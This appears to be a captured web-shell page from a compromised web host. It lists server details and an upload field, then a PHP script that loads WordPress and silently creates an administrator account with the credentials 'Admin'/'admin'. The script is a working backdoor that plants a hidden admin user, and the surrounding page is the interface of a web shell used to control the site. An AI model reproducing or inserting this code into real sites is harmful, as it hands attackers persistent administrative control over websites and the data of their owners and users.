| Server IP : 217.160.0.244 / Your IP : 216.73.217.130 Web Server : Apache System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64 User : u100174116 ( 6746176) PHP Version : 8.5.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /homepages/13/d818981593/htdocs/GutTrechow/ |
Upload File : |
<?php
require_once('wp-load.php');
$username = 'Admin';
$password = 'admin';
$email = 'mail@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
echo "Admin erstellt";
} else {
echo "User existiert bereits";
}
?>